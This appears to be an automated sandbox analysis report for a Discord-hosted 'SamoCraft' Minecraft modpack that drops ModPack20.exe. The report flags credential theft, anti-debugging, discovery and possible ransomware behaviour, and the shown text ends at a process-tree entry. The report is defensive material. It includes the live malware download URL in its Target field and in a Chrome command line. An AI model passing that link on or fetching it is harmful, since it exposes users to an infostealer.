hxxps://cdn[.]discordapp[.]com/attachments/761115319099719712/1542030075376050237/SamoCraft[.]mrpack?ex=6a8fbeeb&is=6a8e6d6b&hm=61a61ab8fa4e96424079f91e5e3a5c5e6be6f0a697b1bdb07e478a3d6982ca5c&

Analysis

user interaction
yes
max time kernel
310s
max time network
284s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/08/2026, 04:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://cdn.discordapp.com/attachments/761115319099719712/1542030075376050237/SamoCraft.mrpack?ex=6a8fbeeb&is=6a8e6d6b&hm=61a61ab8fa4e96424079f91e5e3a5c5e6be6f0a697b1bdb07e478a3d6982ca5c&
Sample260826-e9r2layxhy

Score

8^/10

defense_evasion discovery execution ransomware spyware stealer

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
65	3492	chrome.exe

Executes dropped EXE 2 IoCs

pid	Process
2524	ModPack20.exe
3972	ModPack20.exe

Loads dropped DLL 8 IoCs

pid	Process
2524	ModPack20.exe
2524	ModPack20.exe
2524	ModPack20.exe
2524	ModPack20.exe
3972	ModPack20.exe
3972	ModPack20.exe
3972	ModPack20.exe
3972	ModPack20.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
96	discord.com
97	discord.com
98	discord.com
170	discord.com

Suspicious use of NtSetInformationThreadHideFromDebugger 51 IoCs

pid	Process
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe
3792	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3692	powershell.exe
1252	powershell.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3524	cmd.exe
3512	cmd.exe
4548	cmd.exe
3264	cmd.exe
1204	cmd.exe
1756	cmd.exe
2836	cmd.exe
3908	cmd.exe
1056	cmd.exe
4464	cmd.exe
3276	cmd.exe
1612	cmd.exe
3240	cmd.exe
1316	cmd.exe
1668	cmd.exe
220	cmd.exe
5008	cmd.exe
3100	cmd.exe
2012	cmd.exe
4348	cmd.exe
1832	cmd.exe
1896	cmd.exe
3760	cmd.exe
4228	cmd.exe
4492	cmd.exe
3368	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1872	chrome.exe
3492	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 22 IoCs

defense_evasion

pid	Process
412	taskkill.exe
4968	taskkill.exe
1256	taskkill.exe
1552	taskkill.exe
3248	taskkill.exe
2540	taskkill.exe
3492	taskkill.exe
1040	taskkill.exe
1560	taskkill.exe
3920	taskkill.exe
4844	taskkill.exe
3504	taskkill.exe
3088	taskkill.exe
3384	taskkill.exe
2412	taskkill.exe
4120	taskkill.exe
4444	taskkill.exe
2992	taskkill.exe
4476	taskkill.exe
4316	taskkill.exe
3352	taskkill.exe
2600	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134321927417145575"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2352	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
1728	chrome.exe
1728	chrome.exe
3692	powershell.exe
3692	powershell.exe
3692	powershell.exe
2524	ModPack20.exe
2524	ModPack20.exe
2524	ModPack20.exe
2524	ModPack20.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
1252	powershell.exe
1252	powershell.exe
3972	ModPack20.exe
3972	ModPack20.exe
3972	ModPack20.exe
3972	ModPack20.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
64	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeRestorePrivilege	4552	7zG.exe
Token: 35	4552	7zG.exe
Token: SeSecurityPrivilege	4552	7zG.exe
Token: SeSecurityPrivilege	4552	7zG.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe
Token: SeShutdownPrivilege	540	chrome.exe
Token: SeCreatePagefilePrivilege	540	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
4552	7zG.exe
3600	7zG.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
540	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe
4644	chrome.exe

Suspicious use of SetWindowsHookEx 21 IoCs

pid	Process
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe
64	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 4124	540	chrome.exe	83
PID 540 wrote to memory of 3492	540	chrome.exe	84
PID 540 wrote to memory of 4316	540	chrome.exe	85
PID 540 wrote to memory of 4316	540	chrome.exe	85
PID 540 wrote to memory of 3388	540	chrome.exe	87
PID 540 wrote to memory of 3388	540	chrome.exe	87
PID 540 wrote to memory of 4496	540	chrome.exe	88
PID 540 wrote to memory of 4364	540	chrome.exe	89
PID 540 wrote to memory of 4496	540	chrome.exe	88
PID 540 wrote to memory of 4364	540	chrome.exe	89
PID 540 wrote to memory of 2780	540	chrome.exe	90
PID 540 wrote to memory of 2780	540	chrome.exe	90
PID 540 wrote to memory of 1016	540	chrome.exe	91
PID 540 wrote to memory of 4708	540	chrome.exe	92
PID 540 wrote to memory of 3784	540	chrome.exe	99
PID 540 wrote to memory of 2480	540	chrome.exe	100
PID 540 wrote to memory of 2728	540	chrome.exe	101
PID 64 wrote to memory of 2352	64	OpenWith.exe	111
PID 540 wrote to memory of 1580	540	chrome.exe	112
PID 540 wrote to memory of 1580	540	chrome.exe	112
PID 540 wrote to memory of 1728	540	chrome.exe	113
PID 540 wrote to memory of 2080	540	chrome.exe	114
PID 540 wrote to memory of 3428	540	chrome.exe	115
PID 540 wrote to memory of 3428	540	chrome.exe	115
PID 540 wrote to memory of 2524	540	chrome.exe	116
PID 2524 wrote to memory of 4228	2524	ModPack20.exe	119
PID 4228 wrote to memory of 3692	4228	cmd.exe	120
PID 3692 wrote to memory of 1116	3692	powershell.exe	121
PID 1116 wrote to memory of 4644	1116	csc.exe	122
PID 2524 wrote to memory of 4492	2524	ModPack20.exe	123
PID 4492 wrote to memory of 724	4492	cmd.exe	124
PID 724 wrote to memory of 4572	724	net.exe	125
PID 2524 wrote to memory of 1612	2524	ModPack20.exe	126
PID 2524 wrote to memory of 2012	2524	ModPack20.exe	127
PID 2524 wrote to memory of 4348	2524	ModPack20.exe	128
PID 2524 wrote to memory of 3240	2524	ModPack20.exe	129
PID 2524 wrote to memory of 1316	2524	ModPack20.exe	130
PID 2524 wrote to memory of 1832	2524	ModPack20.exe	131
PID 2524 wrote to memory of 1756	2524	ModPack20.exe	132
PID 1316 wrote to memory of 3352	1316	cmd.exe	133
PID 3240 wrote to memory of 1040	3240	cmd.exe	134
PID 1612 wrote to memory of 3384	1612	cmd.exe	135
PID 1832 wrote to memory of 3088	1832	cmd.exe	136
PID 2012 wrote to memory of 1560	2012	cmd.exe	137
PID 4348 wrote to memory of 2540	4348	cmd.exe	138
PID 1756 wrote to memory of 2412	1756	cmd.exe	139
PID 2524 wrote to memory of 2836	2524	ModPack20.exe	142
PID 2524 wrote to memory of 3368	2524	ModPack20.exe	143
PID 2524 wrote to memory of 1668	2524	ModPack20.exe	144
PID 2524 wrote to memory of 3908	2524	ModPack20.exe	145
PID 3368 wrote to memory of 3920	3368	cmd.exe	146
PID 2836 wrote to memory of 2600	2836	cmd.exe	147
PID 3908 wrote to memory of 4120	3908	cmd.exe	148
PID 1668 wrote to memory of 4444	1668	cmd.exe	149
PID 4644 wrote to memory of 3044	4644	chrome.exe	151
PID 4644 wrote to memory of 3860	4644	chrome.exe	152
PID 4644 wrote to memory of 3860	4644	chrome.exe	152
PID 4644 wrote to memory of 1872	4644	chrome.exe	153
PID 4644 wrote to memory of 3148	4644	chrome.exe	154
PID 4644 wrote to memory of 3148	4644	chrome.exe	154
PID 4644 wrote to memory of 3480	4644	chrome.exe	156
PID 4644 wrote to memory of 3480	4644	chrome.exe	156
PID 4644 wrote to memory of 444	4644	chrome.exe	157
PID 4644 wrote to memory of 444	4644	chrome.exe	157

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/761115319099719712/1542030075376050237/SamoCraft.mrpack?ex=6a8fbeeb&is=6a8e6d6b&hm=61a61ab8fa4e96424079f91e5e3a5c5e6be6f0a697b1bdb07e478a3d6982ca5c&
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe8277c728,0x7ffe8277c734,0x7ffe8277c740
  2⤵
  PID:4124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,9718731916549658620,16223402881314430554,524288 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2176 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:3492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1736,i,13866986309809424510,11770239689872320194,262144 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2128 /prefetch:2
  2⤵
  PID:4316
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,17380300989715251523,6356219601604658314,524288 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2556 /prefetch:8
  2⤵
  PID:3388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3184,i,15609840854034639591,12374084436024852116,2097152 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2640 /prefetch:1
  2⤵
  PID:4496
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3188,i,7391738753673865734,4089746997702513025,2097152 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3220 /prefetch:1
  2⤵
  PID:4364
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4288,i,2873007428201068822,6907970706969444514,2097152 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4300 /prefetch:2
  2⤵
  PID:2780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5312,i,8071168234509031362,3312720889589248982,524288 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5340 /prefetch:8
  2⤵
  PID:1016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5592,i,7861874197866107818,306681073334547669,524288 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5624 /prefetch:8
  2⤵
  PID:4708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5872,i,12399532046378471567,9918083578293906043,524288 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5628 /prefetch:8
  2⤵
  PID:3784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5908,i,162418191699284014,9735485688410022961,524288 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5964 /prefetch:8
  2⤵
  PID:2480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5960,i,1858346786505867364,472948603082309404,524288 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5592 /prefetch:8
  2⤵
  PID:2728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5640,i,3830526161648780381,12420422662652920978,2097152 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5972 /prefetch:1
  2⤵
  PID:1580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4352,i,10112698726091980055,12756586406372062099,262144 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4380 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3228,i,8180018464181063236,6829102674943210416,524288 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3184 /prefetch:8
  2⤵
  PID:2080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=3316,i,9011753331651796002,8350413209378293348,2097152 --field-trial-handle=2132,i,11426521189542892716,11331940300131976639,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3272 /prefetch:1
  2⤵
  PID:3428
- C:\Users\Admin\Downloads\ModPack20.exe
  "C:\Users\Admin\Downloads\ModPack20.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2524
- - C:\Windows\system32\cmd.exe
